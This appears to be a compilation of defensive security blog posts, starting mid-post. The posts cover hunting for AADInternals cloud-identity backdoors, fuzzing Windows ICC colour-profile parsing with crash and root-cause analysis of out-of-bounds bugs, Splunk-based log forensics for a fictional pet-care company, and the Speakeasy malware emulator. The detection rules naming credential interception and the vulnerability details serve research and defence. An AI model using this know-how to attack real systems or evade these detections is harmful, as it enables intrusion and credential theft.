The following five rules will monitor a server’s event logs and alert upon the installation and usage of the AADInternals PowerShell module (Figure 12). The detection of these activities could be high fidelity alerts that an attacker is preparing to configure backdoors into M365 and Azure AD environments.

If an attacker has successfully configured a backdoor using AADInternals, Helix will alert upon the following events registered in the Office 365 unified audit log and Azure Activity Log as indication of a possible event (Figure 13 and Figure 14). It is important to note that these alerts could be triggered upon legitimate administrator activity. When responding to these alerts, first check with your M365 and Azure AD administrator to verify the activity before raising a security event.

Figure 13: Office 365 and Azure Helix rules

Figure 14: PTA Connector Registered alert description

#### Hunting for Backdoors in M365 Unified Audit Logs and Azure AD Logs

If you suspect a global administrator account was compromised and you want to review Azure AD for indicators of potential abuse, the following should be reviewed (note that these same concepts can be used for proactive log monitoring):

• From Azure AD Sign-ins logs, monitor logon activity from On-Premises Directory Synchronization Service Accounts. This account is used by the Azure AD Connect service (Figure 15).

• Baseline the IP addresses used by this account and make sure the IPs match those assigned to the on-premises WAN infrastructure. If the attacker has configure a PTA Agent on their own infrastructure, seeing an IP that does not match your baseline could be an indicator that a rogue PTA Agent has been configured by the attacker (Figure 16).

Figure 16: Azure AD Sign-in logs—On-Premises Directory Synchronization Services account

From Azure AD Sign-ins, monitor and baseline Azure AD Sign-ins to the Azure AD Application Proxy Connector. Make sure to validate username, IP and location.

These events are typically only generated when a new PTA agent is connected to the tenant. This could be an indicator that an attacker has connected a rogue PTA server hosted on an attacker’s infrastructure (Figure 17).

If using Azure Sentinel, this event will also be registered in the Azure AuditLogs table as a “Register Connector” OperationName (Figure 18).

Figure 18: Register Connector—Azure Sentinel logs

• In the Azure Management Portal under the Azure AD Connect blade, review all registered servers running PTA Agent. The Authentication Agent and IP should match your infrastructure (Figure 19).
• Select Azure AD Connect > Pass-through Authentication

Figure 19: Azure Active Directory Pass-through Authentication agent status

• Monitor and alert for "Directory Administration Activity" in Office 365 Security & Compliance Center’s unified audit log. When an attacker is able to create a domain federation within a compromised cloud tenant, and link this to attacker-owned infrastructure, this will generate activity in the log (Figure 21).
• https://Protections.office.com/unifiedauitlog > Audit Log Search
• Select Directory Administration Activates category to select all activities
• Create New Alert Policy (Figure 20)

Figure 20: Unified Audit Log > Create new alert policy

Figure 21: Unified Audit Log filtered for domain related events

• Using Azure Sentinel, more granular Directory Administration Activities can be modified for suspicious activity. This includes additions, deletions and modifications of domains and their authentication settings (Figure 22).
• Monitoring for OfficeActivity Operations in Azure Sentinel can allow an organization to validate if this is normalized activity or if an attacker is working on setting up a backdoor for PTA or federation.
• Table: OfficeActivity
• Operation: Set-AcceptedDomain
• Operation: Set-MsolDomainFederationSettings
• Operation: New-Accepted Domain
• Operation: Remove-Accepted Domain
• Operation: Remove-FederatedDomain

Figure 22: OfficeActivity Operations Azure Sentinel logs

#### Detection On-Premises

If an attacker is able to compromise on-premises infrastructure and access a server running AD Connect or ADFS services with the intention of leveraging a tool such as AADInternals to expand the scope of their access to include cloud, timely on-premises detection and containment is key. The following methods can be leveraged to ensure optimized visibility and detection for the scope of activities described in this post:

• Treat ADFS and Azure AD Connect servers as Tier 0 assets.
• Use a dedicated server for each. Do not install these roles and server in addition to other. All too often we are seeing Azure AD Connect running on a file server.
• Ensure PowerShell logging is optimized on AD Connect and ADFS servers
• If PowerShell logging is enabled, search for Event ID 4101. This event ID will record the event where AADInternals was installed (Figure 23).

Figure 23: EventID 410—Installed Module

• Additionally, with this logging enabled, you will be able to review the PowerShell commands used by an attacker.
• In PowerShell, run Get-Module -All and look for the presence of AADInternals (Figure 24).

Figure 24: Get-Module command to list installed modules

• Alert for the presence of C:\PTASpy and C:\PTASpy\PTASpy.csv.
• This is the default location of the log file that contains records of all the accounts that were intercepted by the tool. Remember, an attacker may also use this to harvest credentials, so it is important to reset the password for these accounts (Figure 25).

Figure 25: PTASpy.csv log activity

#### Mitigations

In order for this attack to be successful, an attacker must gain administrative privileges on a server running Azure AD Connect and/or gain global administrator rights within M365. Simple practices such as limiting and properly protecting global administrator accounts as well as properly protecting Tier 0 assets can greatly reduce the risk of an attacker successfully using the AADInternals PowerShell against your organization.

• Any server acting as an identity provider or facilitating identity federation should be treated as a Tier 0 asset.
• Create separate dedicated global administrator accounts.
• Global administrators should be cloud-only accounts.
• These accounts should not retain any licensing.
• Implement MFA on all accounts: admins, users and services.
• If a particular account cannot use MFA, apply a conditional access rule that limits its logon to a trusted network. This works particularly well for service accounts.
• Establish a roadmap to block legacy authentication.
• Limit which accounts are synced from on-premises to the cloud.
• Do not sync privileged or service accounts to the cloud.
• Not everybody or everything needs to be a global admin to administer the environment.
• Use password hash sync over Pass-through Authentication.
• Many organizations are reluctant to sync their password to Azure AD. The benefits from this service greatly outweigh the risks. Being able to use global and custom banned passwords lists, for both the cloud and on-premises, is a tremendous benefit.
• Forward all M365 unified audit logs and Azure logs to a SIEM and build detections.
• Ensure you are forwarding the logs recommended in this post and building the appropriate detections and playbooks within your security operations teams.
• Specifically monitor for:
• Set-AcceptedDomain
• Set-MsolDomainFederationSettings
• New-Accepted Domain
• Remove-Accepted Domain
• Remove-FederatedDomain
• Periodically review all identity providers and custom domains configured in the M365 tenant.
• If an attacker is successful at gaining global administrative privileges, they may choose to add their own identity provider and custom domain to maintain persistence.

#### Acknowledgements

I want to give a special thanks to Daniel Taylor, Roberto Bamberger and Jennifer Kendall at Microsoft for collaborating with Mandiant on the creation of this blog post.

# Fuzzing Image Parsing in Windows, Part One: Color Profiles

Image parsing and rendering are basic features of any modern operating system (OS). Image parsing is an easily accessible attack surface, and a vulnerability that may lead to remote code execution or information disclosure in such a feature is valuable to attackers. In this multi-part blog series, I am reviewing Windows OS’ built-in image parsers and related file formats: specifically looking at creating a harness, hunting for corpus and fuzzing to find vulnerabilities. In part one of this series I am looking at color profiles—not an image format itself, but something which is regularly embedded within images.

#### What is an ICC Color Profile?

Wikipedia provides a more-than-adequate description of ICC color profiles: "In color management, an ICC profile is a set of data that characterizes a color input or output device, or a color space, according to standards promulgated by the International Color Consortium (ICC). Profiles describe the color attributes of a particular device or viewing requirement by defining a mapping between the device source or target color space and a profile connection space (PCS). This PCS is either CIELAB (L*a*b*) or CIEXYZ. Mappings may be specified using tables, to which interpolation is applied, or through a series of parameters for transformations.

In simpler terms, an ICC color profile is a binary file that gets embedded into images and parsed whenever ICC supported software processes the images.

#### Specification

The ICC specification is around 100 pages and should be easy to skim through. Reading through specifications gives a better understanding of the file format, different types of color profiles, and math behind the color transformation. Furthermore, understanding of its file format internals provides us with information that can be used to optimize fuzzing, select a good corpus, and prepare fuzzing dictionaries.

#### History of Color Management in Windows

Windows started to ship Image Color Management (ICM) version 1.0 on Windows 95, and version 2.0 beginning with Windows 98 onwards. A major overhaul to Windows Color System (WCS) 1.0 happened in Windows Vista onwards. While ICC color profiles are binary files, WCS color profiles use XML as its file format. In this blog post, I am going to concentrate on ICC color profiles.

Microsoft has a list of supported Windows APIs. Looking into some of the obviously named APIs, such as OpenColorProfile, we can see that it is implemented in MSCMS.dll. This DLL is a generic entry point and supports loading of Microsoft’s Color Management Module (CMM) and third-party CMMs such as Adobe’s CMM. Microsoft’s CMM—the ICM—can be found as ICM32.dll in system32 directory.

Figure 1: ICM32

Windows’ CMM was written by a third-party during the Windows 95 era and still ships more or less with the same code (with security fixes over the decades). Seeing such an old module gives me some hope of finding a new vulnerability. But this is also a small module that may have gone through multiple rounds of review and fuzzing: both by internal product security teams and by external researchers, reducing my hopes to a certain degree. Looking for any recent vulnerabilities in ICM32, we can see multiple bugs from 2017-2018 by Project Zero and ZDI researchers, but then relative silence from 2019 onwards.

#### Making a Harness

Although there is a list of ICM APIs in MSDN, we need to find an API sequence used by Windows for any ICC related operations. One of the ways to find our API sequence is to search a disassembly of Windows DLLs and EXEs in hope to find the color profile APIs being used. Another approach is to find a harness for open source Color Management Systems such as Little CMS (LCMS). Both of these end up pointing to very small set of APIs with functionality to open color profiles and create color transformations.

Given this information, a simple initial harness was written:

 #include #include #include #pragma comment(lib, "mscms.lib") int main(int argc, char** argv) {     char dstProfilePath[] = "sRGB Color Space Profile.icm";     tagPROFILE destinationProfile;     HPROFILE   hDstProfile = nullptr;        destinationProfile.dwType = PROFILE_FILENAME;     destinationProfile.pProfileData = dstProfilePath;     destinationProfile.cbDataSize = (strlen(dstProfilePath) + 1);     hDstProfile = OpenColorProfileA(&destinationProfile, PROFILE_READ,         FILE_SHARE_READ, OPEN_EXISTING);     if (nullptr == hDstProfile)     {         return -1;     }        tagPROFILE sourceProfile;     HPROFILE   hSrcProfile = nullptr;     HTRANSFORM hColorTransform = nullptr;          DWORD dwIntent[] = { INTENT_PERCEPTUAL, INTENT_PERCEPTUAL };     HPROFILE hProfileList[2];        sourceProfile.dwType = PROFILE_FILENAME;     sourceProfile.pProfileData = argv[1];     sourceProfile.cbDataSize = (strlen(argv[1]) + 1);     hSrcProfile = OpenColorProfileA(&sourceProfile, PROFILE_READ,         FILE_SHARE_READ, OPEN_EXISTING);     if (nullptr == hSrcProfile)     {         return -1;     }        hProfileList[0] = hSrcProfile;     hProfileList[1] = hDstProfile;     hColorTransform = CreateMultiProfileTransform(         hProfileList,         2,         dwIntent,         2,         USE_RELATIVE_COLORIMETRIC | BEST_MODE,         INDEX_DONT_CARE     );     if (nullptr == hColorTransform)     {         return -1;     }        DeleteColorTransform(hColorTransform);     CloseColorProfile(hSrcProfile);     CloseColorProfile(hDstProfile);     return 0; }

Listing 1: Harness

#### Hunting for Corpus and Dictionary

Sites offering multiple color profiles can be found all over the internet. One of the other main source of color profile is images; many image files contain a color profile but require some programming/tools to dump their color profile to stand-alone files.

Simply skimming through the specification, we can also make sure the corpus contains at least one sample from all of the seven different color profiles. This along with the code coverage information can be used to prepare the first set of corpuses for fuzzing.

A dictionary, which helps the fuzzer to find additional code paths, can be prepared by combing through specifications and creating a list of unique tag names and values. One can also find dictionaries from open source fuzzing attempts on LCMS, etc.

#### Fuzzing

I used a 16-core machine to fuzz the harness with my first set of corpuses. Code coverage information from MSCMS.dll and ICM32.dll was used as feedback for my fuzzer. Crashes started to appear within a couple of days.

#### CVE-2020-1117 — Heap Overflow in InitNamedColorProfileData

The following crash happens in icm32!SwapShortOffset while trying to read out of bounds:

 0:000> r rax=0000023690497000 rbx=0000000000000000 rcx=00000000000000ff rdx=000000000000ffff rsi=0000023690496f00 rdi=0000023690496fee rip=00007ffa46bf3790 rsp=000000c2a56ff5a8 rbp=0000000000000001  r8=0000000000000014  r9=0000023690497002 r10=0000000000000014 r11=0000000000000014 r12=000000c2a56ff688 r13=0000023690492de0 r14=000000000000000a r15=000000004c616220 iopl=0         nv up ei ng nz ac pe cy cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000293 icm32!SwapShortOffset+0x10: 00007ffa46bf3790 0fb610          movzx   edx,byte ptr [rax] ds:0000023690497000=?? 0:000> !heap -p -a @rax     address 0000023690497000 found in     _DPH_HEAP_ROOT @ 23690411000     in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)                              23690412b60:      23690496f00              100 -      23690496000             2000     00007ffa51644807 ntdll!RtlDebugAllocateHeap+0x000000000000003f     00007ffa515f49d6 ntdll!RtlpAllocateHeap+0x0000000000077ae6     00007ffa5157babb ntdll!RtlpAllocateHeapInternal+0x00000000000001cb     00007ffa51479da0 msvcrt!malloc+0x0000000000000070     00007ffa46bf3805 icm32!SmartNewPtr+0x0000000000000011     00007ffa46bf37c8 icm32!SmartNewPtrClear+0x0000000000000014     00007ffa46c02d05 icm32!InitNamedColorProfileData+0x0000000000000085     00007ffa46bf6e39 icm32!Create_LH_ProfileSet+0x0000000000004e15     00007ffa46bf1973 icm32!PrepareCombiLUTs+0x0000000000000117     00007ffa46bf1814 icm32!CMMConcatInitPrivate+0x00000000000001f4     00007ffa46bf12a1 icm32!CWConcatColorWorld4MS+0x0000000000000075     00007ffa46bf11f4 icm32!CMCreateMultiProfileTransformInternal+0x00000000000000e8     00007ffa46bf1039 icm32!CMCreateMultiProfileTransform+0x0000000000000029     00007ffa48f16e6c mscms!CreateMultiProfileTransform+0x000000000000024c     00007ff774651191 ldr+0x0000000000001191     00007ff7746514b4 ldr+0x00000000000014b4     00007ffa505a7bd4 KERNEL32!BaseThreadInitThunk+0x0000000000000014     00007ffa515aced1 ntdll!RtlUserThreadStart+0x0000000000000021

Listing 2: Crash info

icm32!SwapShortOffset reads unsigned short values, bswaps them and stores at the same location, giving this crash both read and write primitives.

 unsigned __int16 *__fastcall SwapShortOffset(void *sourceBuff, unsigned int offset, unsigned int len) {   unsigned __int16 *endBuff; // r9   unsigned __int16 *result; // rax   endBuff = (sourceBuff + len);   for ( result = (sourceBuff + offset); result < endBuff; ++result )     *result = _byteswap_ushort(*result);        // read, bswap and write   return result; }

Listing 3: SwapShortOffset decompiled

The crashing function icm32!SwapShortOffset doesn’t immediately point to the root cause of the bug. For that, we need to go one call up to icm32!InitNamedColorProfileData.

 __int64 __fastcall InitNamedColorProfileData(__int64 a1, void *hProfile, int a3, _DWORD *a4) {   ...   ...   errCode = CMGetPartialProfileElement(hProfile, 'ncl2', 0, pBuffSize, 0i64);      // getting size of ncl2 element   if ( errCode )     return errCode;   minSize = pBuffSize[0];   if ( pBuffSize[0] < 0x55 )     minSize = 0x55;   pBuffSize[0] = minSize;   outBuff = SmartNewPtrClear(minSize, &errCode);                                    // allocating the buffer for ncl2   ...   ...   errCode = CMGetPartialProfileElement(hProfile, 'ncl2', 0, pBuffSize, outBuff);    // reading ncl2 elements to buffer   if ( !errCode )   {     ...     ...     totalSizeToRead = count * totalDeviceCoord;     if ( totalSizeToRead < 0xFFFFFFFFFFFFFFAEui64 && totalSizeToRead + 0x51 <= pBuffSize[0] )  // totalSizeToRead + 0x51 <= element size?     {       currPtr = outBuff + 0x54;            // wrong offset of 0x54 is used       ...       ...       do       {            SwapShortOffset((currPtr + 0x20), 0, 6u);         ...         --count;       }while(count)

Listing 4: InitNamedColorProfileData decompiled

Here the code tries to read the ‘ncl2’ tag/element and get the size of the stream from file. A buffer is allocated and the same call is made once again to read the complete content of the element ‘ncl2’. This buffer is parsed to find the count and number of device coordinates, and the values are verified by making sure read/write ends up with in the buffer size. The vulnerability here is that the offset (0x51) used for verification is smaller than the offset (0x54) used to advance the buffer pointer. This error provides a 3 byte out of bound read and write.

The fix for this was pretty straight forward—change the verification offset to 0x54, which is how Microsoft fixed this bug.

While looking at the previous vulnerability, one can see a pattern of using the CMGetPartialProfileElement function for reading the size, allocation, and reading content. This sort of pattern can introduce bugs such as unconstrained size or integer overflow while adding an offset to the size, etc. I decided to pursue this function and see if such instances are present within ICM32.dll.

I found three instances which had an unchecked offset access: CMConvIndexToNameProfile, CMConvNameToIndexProfile and CMGetNamedProfileInfoProfile. All of these functions are accessible through exported and documented MSCMS functions: ConvertIndexToColorName, CMConvertColorNameToIndex, and GetNamedProfileInfo respectively.

 __int64 __fastcall CMConvIndexToNameProfile(HPROFILE hProfile, __int64 a2, __int64 a3, unsigned int a4) {   ...   ...   errCode = CMGetPartialProfileElement(hProfile, 'ncl2', 0, pBuffSize, 0i64);    // read size   if ( !errCode )   {     allocBuff = SmartNewPtr(pBuffSize[0], &errCode);     if ( !errCode )     {       errCode = CMGetPartialProfileElement(hProfile, 'ncl2', 0, pBuffSize, allocBuff);    // read to buffer       if ( !errCode )       {         SwapLongOffset((allocBuff + 12), 0, 4u);         // 12 > *pBuffSize ?         SwapLongOffset((allocBuff + 16), v12, v13);

Listing 5: CMConvIndexToNameProfile decompiled

The bug discovered in CMConvIndexToNameProfile and the other two functions is that there is no minimum length check for ‘ncl2’ elements and offsets 12 and 16 are directly accessed for both read and write—providing out of bound read/write to allocBuffer, if the size of allocBuffer is smaller than 12.

Microsoft decided not to immediately fix these three vulnerabilities due to the fact that none of the Windows binaries use these functions. Independently, we did not find any Windows or third-party software using these APIs.

#### Conclusion

In part one of this blog series, we looked into color profiles, wrote a harness, hunted for corpus and successfully found multiple vulnerabilities. Stay tuned for part two, where we will be looking at a relatively less talked about vulnerability class: uninitialized memory.

# A “DFUR-ent” Perspective on Threat Modeling and Application Log Forensic Analysis

Many organizations operating in e-commerce, hospitality, healthcare, managed services, and other service industries rely on web applications. And buried within the application logs may be the potential discovery of fraudulent use and/or compromise! But, let's face it, finding evil in application logs can be difficult and overwhelming for a few reasons, including:

• The wide variety of web applications with unique functionality
• The lack of a standard logging format
• Logging formats that were designed for troubleshooting application issues and not security investigations
• The need for a centralized log analysis solution or SIEM to process and investigate a large amount of application log data

So, in this blog post, we discuss threat modeling concepts that can help prioritize logging decisions and unleash the ability to identify and investigate attacks against an application. To help us demonstrate, we'll describe situations for a fictitious organization called Dog and Feline Urgent Response, or DFUR, that we presented at the 2020 SANS Digital Forensics & Incident Response (DFIR) Summit.

We selected Splunk Enterprise Security (ES) as DFUR’s SIEM and logging analysis platform, but this is just one option and there are multiple technologies that can facilitate application log analysis. We created a Splunk application called “Dog and Feline Urgent Response (DFUR)” available on the FireEye GitHub that contains pre-indexed data and dashboards that you can use to follow along with the following attack scenarios.

But, enough kitten around. Let’s introduce you to DFUR!

#### DFUR: Dog and Feline Urgent Response

DFUR is a long-standing organization in the pet wellness industry that provides care providers, pet owners, and insurance providers with application services.

• Care providers, such as veterinarians, use DFUR to process patient records, submit prescriptions, and order additional care services
• Pet owners use DFUR to make appointments, pay bills, and see diagnostic test results
• Insurance providers use DFUR to receive and pay claims to pet care providers

Application users log into a web portal that forwards logon and user transaction logs to DFUR’s Splunk ES instance. Backend databases store metadata for users, such as street addresses and contact information.

DFUR Security Team Threat Modeling

After stumbling through several incidents, the DFUR security team realized that their application did not log the information needed to answer investigative question clearly and quickly. The team held workshops with technical stakeholders to develop a threat model and improve their application security strategy. They addressed questions, such as:

• What types of threats does DFUR face based on industry trends?
• What impact could those threats have?
• How could the DFUR application be attacked or abused?
• What log data would DFUR need to prove an attack or fraud happened?

The DFUR team compiled the stakeholder feedback and developed a threat profile to identify and prioritize high-risk threats facing the DFUR application platform, including:

• Account takeover and abuse
• Password attacks (e.g., credential stuffing)
• Bank account modifications
• PHI/PII access
• Health service modifications or interruptions
• Fraudulent reimbursement claim submission
• Veterinarians over-prescribing catnip

The DFUR security team discussed how they could identify threats using their currently available logs, and, well, the findings were not purr-ty.

Logging Problems Identified

The DFUR team used their threat model to determine what log sources were relevant to their security mission, and then they dug into each one to confirm the log events were valid, normalized, and accessible. This effort produced a list of high-priority logging issues that needed to be addressed before the security team could move forward with developing methods for detection and analysis:

• Local logs were not forwarded to their Splunk ES instance. Only a limited subset of logging was forwarded to their Splunk ES instance, so DFUR analysts couldn't search for the actions performed by users who were authenticated to the application portal.
• Inaccurate field mapping. DFUR analysts identified extracted field values that were mapped to incorrect field names. One example was the user-agent in authentication log events had been extracted as the username field.
• Application updates sometimes affected Splunk ingestion and parsing. DFUR analysts identified servers that didn't have a startup script to ensure log forwarding was enabled upon system reboot. Application updates changed the logging output format which broke field extractions. DFUR analysts didn't have a way to determine when log sources weren't operating as expected.
• Time zone misconfigurations. DFUR analysts determined their log sources had multiple time zone configurations which made correlation difficult.
• The log archival settings needed to be modified. DFUR analysts needed to configure their Splunk ES instance data retirement policy to maintain indexed data for a longer time period and archive historical data for quick restoration.
• Source IP addresses of users logging into the portal were masked by a load balancer. The DFUR analysts realized that the source IP address for every user logon was a load balancer, which made attribution even more difficult. The X-Forwarded-For (XFF) field in their appliances needed to be enabled.

Analysis Problems Identified

The DFUR infosec team reviewed how previous incidents involving the DFUR application were handled. They quickly learned that they needed to solve the following operational issues before they could effectively investigate application attacks:

• Inconsistency during manual analysis. DFUR analysts took different approaches to searching their Splunk ES instance, and they would reach different conclusions. Playbooks were needed to define a standard investigative methodology for common incident scenarios.
• No documentation of log fields or sources. Some DFUR analysts were not aware of all relevant data sources that were available when investigating security incidents. This led to findings that were based on a small part of the picture. A data dictionary was needed that defines the log sources and fields in the DFUR Splunk ES instance and the retention time for each log source.
• Application logs were designed for troubleshooting, not investigating. The DFUR application was configured to log diagnostic information, application errors, and limited subsets of successful user activity. The DFUR team needed to reconfigure and develop the application to record more security related events.

#### DFUR: New and Improved Monitoring and Detection

The DFUR team addressed their application log and analysis problems and started building a detection and investigative capability in their Splunk ES instance. Using the analysis workflows developed during the threat modeling process, the DFUR team designed Splunk dashboards (Figure 1) to provide detection analytics and context around three primary datapoints: usernames, IP addresses, and care providers (“organizations”).

Figure 1: DFUR monitoring and detection dashboard

The DFUR team created the Splunk dashboards using Simple XML to quickly identify alerts and pivot among the primary datapoints, as seen in Figure 2. The DFUR team knew that their improved and streamlined methodology would save time compared to exporting, analyzing, and correlating raw logs manually.

Figure 2: Pivoting concepts used to develop DFUR dashboards

Newly armed (legged?) with a monitoring and detection capability, the DFUR team was ready to find evil!

Attack Scenario #1: Account Takeover

The next morning, the DFUR security team was notified by their customer service team of a veterinarian provider with the username ‘labradorable’ who hadn’t received their daily claims payment and noticed their banking information in the DFUR portal was changed overnight.

A DFUR analyst opened the User Activity Enrichment dashboard (Figure 3) and searched for the username to see recent actions performed by the account.

Figure 3: User Activity Enrichment dashboard

The analyst reviewed the Remote Access Analytics in the dashboard and identified the following anomalies (Figure 4):

• The username reminder and password reset action was performed the day before from an Indonesia-based IP address
• The user account was logged in from the same suspicious IP address shortly after
• The legitimate user always logs in from California, so the Indonesia source IP login activity was highly suspicious

Figure 4: Remote access analytics based on user activity

The DFUR analyst clicked on the Application Activity tab in the User Activity Enrichment dashboard to see what actions were performed by the user while they were logged in from the suspicious IP address. The analyst identified the user account logged in from the suspicious IP address and performed an email address change and added two (2) new bank accounts, as seen in Figure 5.

Figure 5: Application activity timeline filtered based on IP address

The DFUR analyst confirmed that the two (2) bank accounts were added by the user to the care provider with organization ID 754354, as seen in Figure 6.

Figure 6: Bank accounts added and assigned to a provider

By clicking on the organization ID in the Splunk results table, the DFUR analyst triggered a drill-down action to automatically open the Organization Enrichment Dashboard and populate the organization ID value with the results from the previous panel (Figure 7). The DFUR analyst determined that the bank routing information for the new bank accounts was inconsistent with the organization’s mailing address.

Figure 7: Organization Enrichment Dashboard

The activity indicated that the attacker had access to the user’s primary email and successfully reset the DFUR account password. The DFUR analyst confirmed that no other accounts were targeted by the suspicious IP address (Figure 8).

Figure 8: IP Address Enrichment dashboard

Attack Scenario #2: Credential Stuffing

Later that afternoon, the DFUR team began receiving reports of account lockouts in the patient and provider portals when users tried to login. The security team was asked to investigate potential password attack activity on their DFUR platform.

The DFUR analyst pulled up the main monitoring and detection dashboard and scrolled down to the panel focused on identifying potential password attack activity (Figure 9). They identified five (5) IP addresses associated with an elevated number of failed login attempts, suggesting a password spray or credential stuffing attack with varying success.

Figure 9: Dashboard panel showing potential password attack events

The DFUR analyst clicked on one of the IP addresses which triggered a drill-down action to open the IP Address Enrichment dashboard and prepopulate the IP address token value (Figure 10).

Figure 10: IP Address Enrichment dashboard

The DFUR analyst identified more than 3,000 failed login attempts associated with the IP address with three (3) successful logins that morning. The Remote Access Analytics panels for the IP address further showed successful logins for accounts that may have been successfully compromised and need to be reset (Figure 11).

Figure 11: Remote access analytics for IP address

#### Conclusion

After implementing the newly developed logs and analysis capabilities and by leveraging Splunk’s security solutions, the DFUR security team drastically improved key metrics aligned with their application security missions:

1. Identify compromise and fraud before customers report it
2. Analyze 90% of application security events within 30 minutes
3. Answer all investigation questions from users, compliance, and legal teams

Mandiant and the whole DFUR security team hope you can use the scenarios and references in this post to improve your log analysis and how you leverage a SIEM solution in the following ways:

• Reflect on your current logging gaps and capabilities to improve
• Enhance logs from “whatever the developers implemented” to “designed to be investigated”
• Develop investigative workflows that are reliable and repeatable
• Correlate pivot points between your data sources and streamline correlation capabilities
• Create monitoring and alerting capabilities based on threat modeling
• Lower the technical barrier for comprehensive analysis
• Implement similar analysis capabilities to those in the “DFUR” Splunk application, linked in the References section
• Understand that logs can lead into better security analytics and strengthening of your security operations

#### References

For organizations that utilize Splunk security solutions as their SIEM solution, for automation, analytics or log aggregation, or want to try out for free with Splunk’s free trial download, we developed an application called “Dog and Feline Urgent Response (DFUR)” to demonstrate application log forensic analysis and dashboard pivoting concepts. The code contains pre-indexed data and CSV files referenced by searches contained in four Splunk XML dashboards. All data, such as IP addresses and usernames, was fabricated for the purposes of the demo and any association with organizations, users, or pets is coincidental.

# Emulation of Malicious Shellcode With Speakeasy

In order to enable emulation of malware samples at scale, we have developed the Speakeasy emulation framework. Speakeasy aims to make it as easy as possible for users who are not malware analysts to acquire triage reports in an automated way, as well as enabling reverse engineers to write custom plugins to triage difficult malware families.

Originally created to emulate Windows kernel mode malware, Speakeasy now also supports user mode samples. The project’s main goal is high resolution emulation of the Windows operating system for dynamic malware analysis for the x86 and amd64 platforms. Similar emulation frameworks exist to emulate user mode binaries. Speakeasy attempts to differentiate from other emulation frameworks the following ways:

• Architected specifically around emulation of Windows malware
• Supports emulation of kernel mode binaries to analyze difficult to triage rootkits
• Emulation and API support driven by current malware trends to provide the community with a means to extract indicators of compromise with no extra tooling
• Completely configurable emulation environment requiring no additional code

The project currently supports kernel mode drivers, user mode Windows DLLs and executables, as well as shellcode. Malware samples can be automatically emulated, with reports generated for later post processing. The ongoing project goal will be continuing to add support for new or popular malware families.

In this blog post, we will show an example of Speakeasy’s effectiveness at automatically extracting network indicators from a Cobalt Strike Beacon sample acquired from an online malware aggregate.

#### Background

Dynamic analysis of Windows malware has always been a crucial step during the malware analysis process. Understanding how malware interacts with the Windows API and extracting valuable host-based and network-based indicators of compromise (IOCs) are critical to assessing the impact malware has on an affected network. Typically, dynamic analysis is performed in an automated or targeted fashion. Malware can be queued to execute within a sandbox to monitor its functionality, or manually debugged to reveal code paths not executed during sandbox runs.

Code emulation has been used historically for testing, validation and even malware analysis. Being able to emulate malicious code lends many benefits from both manual and automated analysis. Emulation of CPU instructions allows for total instrumentation of binary code where control flow can be influenced for maximum code coverage. While emulating, all functionality can be monitored and logged in order to quickly extract indicators of compromise or other useful intelligence.

Emulation provides several advantages over execution within a hypervisor sandbox. A key advantage is noise reduction. While emulating, the only activity that can be recorded is either written by the malware author, or statically compiled within the binary. API hooking within a hypervisor (especially from a kernel mode perspective) can be difficult to attribute to the malware itself. For example, sandbox solutions will often hook heap allocator API calls without knowing if the malware author intended to allocate memory, or if a lower-level API was responsible for the memory allocation.

However, emulation has disadvantages as well. Since we are removing the operating system from the analysis phase, we, as the emulator, are now responsible for providing the expected inputs and outputs from API calls and memory access that occur during emulation. This requires substantial effort in order to successfully emulate malware samples that are expected to the run on a legitimate Windows system.

#### Shellcode as an Attack Platform

In general, shellcode is an excellent choice for attackers to remain stealthy on an infected system. Shellcode runs within executable memory and does not need to be backed by any file on disk. This allows attacker code to hide easily within memory where most forms of traditional forensic analysis will fail to identify it. Either the original binary file that loads the shellcode must first be identified, or the shellcode itself must be dumped from memory. To avoid detection, shellcode can be hidden within a benign appearing loader, and then be injected into another user mode process.

In the first part of this blog series, we will show the effectiveness of emulation with one of the more common samples of shellcode malware encountered during incident response investigations. Cobalt Strike is a commercial penetration testing framework that typically utilizes stagers to execute additional code. An example of a stager is one that downloads additional code via a HTTP request and executes the HTTP response data. The data in this case is shellcode that commonly begins with a decode loop, followed by a valid PE that contains code to reflectively load itself. In the case of Cobalt Strike, this means it can be executed from the start of the executable headers and will load itself into memory. Within the Cobalt Strike framework, the payload in this case is typically an implant known as Beacon. Beacon is designed to be a memory resident backdoor used to maintain command and control (C2) over an infected Windows system. It is built using the Cobalt Strike framework without any code modifications and can be easily built to have its core functionality and its command and control information modified.

All of this allows attackers to rapidly build and deploy new variants of Beacon implants on compromised networks. Therefore, a tool to rapidly extract the variable components of Beacon are necessary and, ideally, will not require the valuable time of malware analysts.

#### Speakeasy Design

Speakeasy currently employs the QEMU-based emulator engine Unicorn to emulate CPU instructions for the x86 and amd64 architectures. Speakeasy is designed to support arbitrary emulation engines in the future via an abstraction layer, but it currently relies on Unicorn.

Full OS sandboxing will likely always be required to analyze all samples as generically emulating all of Windows is somewhat unfeasible. Sandboxing can be difficult to scale on demand and can be time consuming to run samples. However, by making sure we emulate specific malware families, such as Beacon in this example, we can quickly reduce the need to reverse engineer variants. Being able to generate high level triage reports in an automated fashion is often all the analysis that is needed on a malware variant. This allows malware analysts more time to focus on samples that may require deeper analysis.

Shellcode or Windows PEs are loaded into the emulated address space. Windows data structures required to facilitate basic emulation of Windows kernel mode and user mode are created before attempting to emulate the malware. Processes, drivers, devices and user mode libraries are “faked” in order to present the malware with a realistic looking execution environment. Malware will be able to interact with an emulated file system, network and registry. All these emulated subsystems can be configured with a configuration file supplied to each emulation run.

Windows APIs are handled by Python API handlers. These handlers will try to emulate expected outputs from these APIs so that malware samples will continue their expected execution path. When defining an API handler, all that is needed is the name of the API, the number of arguments the API expects, and an optional calling convention specification. If no calling convention is supplied, stdcall is assumed. Currently, if an API call is attempted that is not supported, Speakeasy will log the unsupported API and move on to the next entry point. An example handler for the Windows HeapAlloc function exported by kernel32.dll is shown in Figure 1.

Figure 1: Example handler for Windows HeapAlloc function

All entry points are emulated by default. For example, for DLLs, all exports are emulated, and for drivers, the IRP major functions are each emulated. In addition, dynamic entry points that are discovered during runtime are followed. Some examples of dynamic entry points include threads that are created or callbacks that are registered. Attributing activity to specific entry points can be crucial to seeing the whole picture when trying to identify the impact of a malware infection.

#### Reporting

Currently, all events captured by the emulator are logged and represented by a JSON report for easy post processing. This report contains events of interest that are logged during emulation. Like most emulators, all Windows API calls are logged along with arguments. All entry points are emulated and tagged with their corresponding API listings. In addition to API tracing, other specific events are called out including file, registry and network access. All decoded or “memory resident” strings are dumped and displayed in the report to revealed useful information not found within static string analysis. Figure 2 shows an example of a file read event logged in a Speakeasy JSON report.

